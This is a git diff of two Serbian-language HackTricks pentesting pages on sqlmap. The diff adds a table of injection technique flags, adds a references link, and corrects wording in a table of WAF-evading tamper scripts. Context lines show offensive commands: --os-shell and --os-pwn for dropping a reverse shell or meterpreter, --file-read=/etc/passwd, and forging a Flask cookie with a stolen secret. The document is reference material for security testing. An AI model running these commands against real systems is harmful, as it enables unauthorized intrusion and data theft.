diff --git a/src/pentesting-web/sql-injection/sqlmap.md b/src/pentesting-web/sql-injection/sqlmap.md index a0d3f6563..16dd7682a 100644 --- a/src/pentesting-web/sql-injection/sqlmap.md +++ b/src/pentesting-web/sql-injection/sqlmap.md @@ -21,6 +21,23 @@ --auth-cred="" #HTTP authentication credentials (name:password) --proxy=PROXY ``` +### Technique flags (`--technique`) + +Argument `--technique` definiše koje SQL injection metode će sqlmap pokušati. Svaki karakter u stringu predstavlja tehniku: + +| Letter | Technique | Description | +| ------ | --------- | ----------- | +| B | Boolean-based blind | Koristi true/false uslove za inferenciju podataka | +| E | Error-based | Iskorišćava detaljne DBMS poruke greške za exfiltraciju rezultata | +| U | UNION query | Injektuje `UNION SELECT` izjave da bi dobio podatke putem istog kanala | +| S | Stacked queries | Dodaje dodatne izjave odvojene sa `;` | +| T | Time-based blind | Oslanja se na kašnjenja (`SLEEP`, `WAITFOR`) za detekciju injekcije | +| Q | Inline / out-of-band | Koristi funkcije kao što su `LOAD_FILE()` ili OOB kanale poput DNS | + +Podrazumevani redosled je `BEUSTQ`. Možete ih preurediti ili ograničiti, npr. samo Boolean i Time-based u tom redosledu: +```bash +sqlmap -u "http://target/?id=1" --technique="BT" --batch +``` ### Preuzimanje informacija #### Interno @@ -136,32 +153,35 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch | halfversionedmorekeywords.py | Dodaje verzionirani MySQL komentar pre svake ključne reči | | ifnull2ifisnull.py | Zamenjuje instance poput 'IFNULL\(A, B\)' sa 'IF\(ISNULL\(A\), B, A\)' | | modsecurityversioned.py | Obavija kompletnu upit sa verzioniranim komentarom | -| modsecurityzeroversioned.py | Obavija kompletnu upit sa komentarom bez verzije | +| modsecurityzeroversioned.py | Obavija kompletnu upit sa komentarom nulte verzije | | multiplespaces.py | Dodaje više razmaka oko SQL ključnih reči | | nonrecursivereplacement.py | Zamenjuje unapred definisane SQL ključne reči sa reprezentacijama pogodnim za zamenu \(npr. .replace\("SELECT", ""\)\) filteri | | percentage.py | Dodaje znak procenta \('%'\) ispred svakog karaktera | | overlongutf8.py | Konvertuje sve karaktere u datom payload-u \(ne obrađuje već kodirane\) | -| randomcase.py | Zamenjuje svaki karakter ključne reči sa nasumičnom vrednošću slučajnosti | +| randomcase.py | Zamenjuje svaki karakter ključne reči sa nasumičnom vrednošću velikih i malih slova | | randomcomments.py | Dodaje nasumične komentare SQL ključnim rečima | -| securesphere.py | Dodaje posebno oblikovanu string | +| securesphere.py | Dodaje posebno oblikovan string | | sp_password.py | Dodaje 'sp_password' na kraj payload-a za automatsku obfuscaciju iz DBMS logova | | space2comment.py | Zamenjuje karakter razmaka \(' '\) sa komentarima | | space2dash.py | Zamenjuje karakter razmaka \(' '\) sa komentarom u obliku crte \('--'\) praćenim nasumičnim stringom i novim redom \('\n'\) | | space2hash.py | Zamenjuje karakter razmaka \(' '\) sa karakterom za broj \('\#'\) praćenim nasumičnim stringom i novim redom \('\n'\) | | space2morehash.py | Zamenjuje karakter razmaka \(' '\) sa karakterom za broj \('\#'\) praćenim nasumičnim stringom i novim redom \('\n'\) | -| space2mssqlblank.py | Zamenjuje karakter razmaka \(' '\) sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera | +| space2mssqlblank.py | Zamenjuje karakter razmaka \(' '\) sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera | | space2mssqlhash.py | Zamenjuje karakter razmaka \(' '\) sa karakterom za broj \('\#'\) praćenim novim redom \('\n'\) | -| space2mysqlblank.py | Zamenjuje karakter razmaka \(' '\) sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera | +| space2mysqlblank.py | Zamenjuje karakter razmaka \(' '\) sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera | | space2mysqldash.py | Zamenjuje karakter razmaka \(' '\) sa komentarom u obliku crte \('--'\) praćenim novim redom \('\n'\) | | space2plus.py | Zamenjuje karakter razmaka \(' '\) sa plusom \('+'\) | -| space2randomblank.py | Zamenjuje karakter razmaka \(' '\) sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera | +| space2randomblank.py | Zamenjuje karakter razmaka \(' '\) sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera | | symboliclogical.py | Zamenjuje AND i OR logičke operatore sa njihovim simboličkim ekvivalentima \(&& i | | unionalltounion.py | Zamenjuje UNION ALL SELECT sa UNION SELECT | | unmagicquotes.py | Zamenjuje karakter navodnika \('\) sa multi-bajt kombinacijom %bf%27 zajedno sa generičkim komentarom na kraju \(da bi radilo\) | | uppercase.py | Zamenjuje svaki karakter ključne reči sa velikim slovom 'INSERT' | -| varnish.py | Dodaje HTTP zaglavlje 'X-originating-IP' | -| versionedkeywords.py | Obavija svaku ne-funkcijsku ključnu reč sa verzioniranim MySQL komentarom | -| versionedmorekeywords.py | Obavija svaku ključnu reč sa verzioniranim MySQL komentarom | +| varnish.py | Dodaje HTTP zaglavlje 'X-originating-IP' | +| versionedkeywords.py | Obavija svaku ne-funkcionalnu ključnu reč sa verzioniranim MySQL komentarom | +| versionedmorekeywords.py | Obavija svaku ključnu reč sa verzioniranim MySQL komentarom | | xforwardedfor.py | Dodaje lažno HTTP zaglavlje 'X-Forwarded-For' | +## References +- [SQLMap: Testing SQL Database Vulnerabilities](https://blog.bughunt.com.br/sqlmap-vulnerabilidades-banco-de-dados/) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/sql-injection/sqlmap/README.md b/src/pentesting-web/sql-injection/sqlmap/README.md index 08630a749..d0876f730 100644 --- a/src/pentesting-web/sql-injection/sqlmap/README.md +++ b/src/pentesting-web/sql-injection/sqlmap/README.md @@ -5,7 +5,7 @@ ## Osnovni argumenti za SQLmap -### Opšti +### Generički ```bash -u "" -p "" @@ -23,6 +23,23 @@ --proxy=http://127.0.0.1:8080 --union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char ``` +### Technique flags (`--technique`) + +Opcija `--technique` vam omogućava da ograničite ili promenite redosled SQL injection tehnika koje će sqlmap testirati. Svako slovo odgovara različitoj klasi payload-a: + +| Letter | Technique | Description | +| ------ | --------- | ----------- | +| B | Boolean-based blind | Koristi true/false uslove u odgovoru stranice da bi inferirao rezultate | +| E | Error-based | Iskorišćava opširne DBMS poruke greške za ekstrakciju podataka | +| U | UNION query | Injektuje `UNION SELECT` izjave da bi dobio podatke putem istog kanala | +| S | Stacked queries | Dodaje dodatne izjave odvojene SQL delimiter-om (`;`) | +| T | Time-based blind | Oslanja se na `SLEEP/WAITFOR` kašnjenja da bi otkrio uslove koji se mogu injektovati | +| Q | Inline / out-of-band | Koristi funkcije kao što su `LOAD_FILE()` ili DNS exfiltration za ekstrakciju podataka | + +Podrazumevani redosled koji će sqlmap pratiti je `BEUSTQ` (sve tehnike). Možete promeniti i redosled i podskup. Na primer, sledeća komanda će **samo** pokušati UNION query i Time-based blind tehnike, pokušavajući prvo UNION: +```bash +sqlmap -u "http://target.tld/page.php?id=1" --technique="UT" --batch +``` ### Preuzimanje informacija #### Interno @@ -43,7 +60,7 @@ --columns #Columns of a table ( -D -T ) -D -T
-C #Dump column ``` -Korišćenjem [SQLMapping](https://taurusomar.github.io/sqlmapping/) to je praktičan alat koji generiše komande i pruža sveobuhvatan pregled, kako osnovnih tako i naprednih, za SQLMap. Uključuje ToolTips koji objašnjavaju svaki aspekt alata, detaljno opisujući svaku opciju kako biste mogli poboljšati i razumeti kako ga koristiti efikasno i efektivno. +Korišćenjem [SQLMapping](https://taurusomar.github.io/sqlmapping/) to je praktičan alat koji generiše komande i pruža potpun pregled, kako osnovnih tako i naprednih, za SQLMap. Uključuje ToolTips koji objašnjavaju svaki aspekt alata, detaljno opisujući svaku opciju kako biste mogli poboljšati i razumeti kako ga koristiti efikasno i efektivno. ## Mesto injekcije @@ -82,11 +99,11 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*" ``` ### Tehnika detekcije -Ako ste pronašli SQLi, ali sqlmap ga nije detektovao, možete prisiliti tehniku detekcije sa argumentima kao što su `--prefix` ili `--suffix`, ili ako je složenije, dodajući je u payload-e koje koristi sqlmap u `/usr/share/sqlmap/data/xml/payloads/time_blind.xml`, na primer za time blind bazirane. +Ako ste pronašli SQLi, ali sqlmap ga nije detektovao, možete prisiliti tehniku detekcije sa argumentima kao što su `--prefix` ili `--suffix`, ili, ako je složenije, dodajući je u payload-e koje koristi sqlmap u `/usr/share/sqlmap/data/xml/payloads/time_blind.xml`, na primer za time blind bazirane. ### Eval -**Sqlmap** omogućava korišćenje `-e` ili `--eval` za obradu svakog payload-a pre slanja uz neki python oneliner. Ovo olakšava i ubrzava prilagođenu obradu payload-a pre slanja. U sledećem primeru **flask cookie session** **je potpisan od strane flaska sa poznatom tajnom pre slanja**: +**Sqlmap** omogućava korišćenje `-e` ili `--eval` za obradu svakog payload-a pre slanja uz neki python oneliner. Ovo čini veoma lakim i brzim da se payload obradi na prilagođene načine pre slanja. U sledećem primeru **flask cookie session** **je potpisan od strane flaska sa poznatom tajnom pre slanja**: ```bash sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump ``` @@ -101,7 +118,7 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell #Dropping a reverse-shell / meterpreter python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn ``` -### Čitaj fajl +### Čitaj Fajl ```bash --file-read=/etc/passwd ``` @@ -142,11 +159,11 @@ Zapamtite da **možete kreirati svoj vlastiti tamper u pythonu** i to je veoma j --tamper=name_of_the_tamper #In kali you can see all the tampers in /usr/share/sqlmap/tamper ``` -| Tamper | Opis | +| Tamper | Description | | ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- | | apostrophemask.py | Zamenjuje karakter apostrofa sa njegovim UTF-8 punim širinom ekvivalentom | | apostrophenullencode.py | Zamenjuje karakter apostrofa sa njegovim ilegalnim dvostrukim unicode ekvivalentom | -| appendnullbyte.py | Dodaje kodirani NULL bajt karakter na kraj payload-a | +| appendnullbyte.py | Dodaje kodirani NULL bajt na kraj payload-a | | base64encode.py | Base64 kodira sve karaktere u datom payload-u | | between.py | Zamenjuje operator veće od ('>') sa 'NOT BETWEEN 0 AND #' | | bluecoat.py | Zamenjuje karakter razmaka nakon SQL izjave sa validnim nasumičnim praznim karakterom. Nakon toga zamenjuje karakter = sa LIKE operatorom | @@ -168,28 +185,31 @@ Zapamtite da **možete kreirati svoj vlastiti tamper u pythonu** i to je veoma j | nonrecursivereplacement.py | Zamenjuje unapred definisane SQL ključne reči sa reprezentacijama pogodnim za zamenu (npr. .replace("SELECT", "")) filteri | | percentage.py | Dodaje znak procenta ('%') ispred svakog karaktera | | overlongutf8.py | Konvertuje sve karaktere u datom payload-u (ne obrađuje već kodirane) | -| randomcase.py | Zamenjuje svaki karakter ključne reči sa nasumičnom velikom ili malom vrednošću | +| randomcase.py | Zamenjuje svaki karakter ključne reči sa nasumičnom velikom ili malom slovom | | randomcomments.py | Dodaje nasumične komentare SQL ključnim rečima | -| securesphere.py | Dodaje posebno kreiranu string | +| securesphere.py | Dodaje posebno oblikovanu string | | sp_password.py | Dodaje 'sp_password' na kraj payload-a za automatsku obfuscaciju iz DBMS logova | | space2comment.py | Zamenjuje karakter razmaka (' ') sa komentarima | -| space2dash.py | Zamenjuje karakter razmaka (' ') sa komentarom crtica ('--') praćenim nasumičnim stringom i novim redom ('\n') | -| space2hash.py | Zamenjuje karakter razmaka (' ') sa karakterom za broj ('#') praćenim nasumičnim stringom i novim redom ('\n') | -| space2morehash.py | Zamenjuje karakter razmaka (' ') sa karakterom za broj ('#') praćenim nasumičnim stringom i novim redom ('\n') | -| space2mssqlblank.py | Zamenjuje karakter razmaka (' ') sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera | +| space2dash.py | Zamenjuje karakter razmaka (' ') sa komentarom crtica ('--') praćenim nasumičnim stringom i novim redom ('\n') | +| space2hash.py | Zamenjuje karakter razmaka (' ') sa karakterom za broj ('#') praćenim nasumičnim stringom i novim redom ('\n') | +| space2morehash.py | Zamenjuje karakter razmaka (' ') sa karakterom za broj ('#') praćenim nasumičnim stringom i novim redom ('\n') | +| space2mssqlblank.py | Zamenjuje karakter razmaka (' ') sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera | | space2mssqlhash.py | Zamenjuje karakter razmaka (' ') sa karakterom za broj ('#') praćenim novim redom ('\n') | -| space2mysqlblank.py | Zamenjuje karakter razmaka (' ') sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera | +| space2mysqlblank.py | Zamenjuje karakter razmaka (' ') sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera | | space2mysqldash.py | Zamenjuje karakter razmaka (' ') sa komentarom crtica ('--') praćenim novim redom ('\n') | -| space2plus.py | Zamenjuje karakter razmaka (' ') sa plusom ('+') | -| space2randomblank.py | Zamenjuje karakter razmaka (' ') sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera | +| space2plus.py | Zamenjuje karakter razmaka (' ') sa plusom ('+') | +| space2randomblank.py | Zamenjuje karakter razmaka (' ') sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera | | symboliclogical.py | Zamenjuje AND i OR logičke operatore sa njihovim simboličkim ekvivalentima (&& i | | unionalltounion.py | Zamenjuje UNION ALL SELECT sa UNION SELECT | | unmagicquotes.py | Zamenjuje karakter navodnika (') sa multi-bajt kombinacijom %bf%27 zajedno sa generičkim komentarom na kraju (da bi radilo) | | uppercase.py | Zamenjuje svaki karakter ključne reči sa velikim slovom 'INSERT' | -| varnish.py | Dodaje HTTP header 'X-originating-IP' | -| versionedkeywords.py | Obavija svaku ne-funkcionalnu ključnu reč sa verzioniranim MySQL komentarom | +| varnish.py | Dodaje HTTP zaglavlje 'X-originating-IP' | +| versionedkeywords.py | Obavija svaku ne-funkcijsku ključnu reč sa verzioniranim MySQL komentarom | | versionedmorekeywords.py | Obavija svaku ključnu reč sa verzioniranim MySQL komentarom | -| xforwardedfor.py | Dodaje lažni HTTP header 'X-Forwarded-For' | +| xforwardedfor.py | Dodaje lažno HTTP zaglavlje 'X-Forwarded-For' | +## References +- [SQLMap: Testing SQL Database Vulnerabilities](https://blog.bughunt.com.br/sqlmap-vulnerabilidades-banco-de-dados/) + {{#include ../../../banners/hacktricks-training.md}}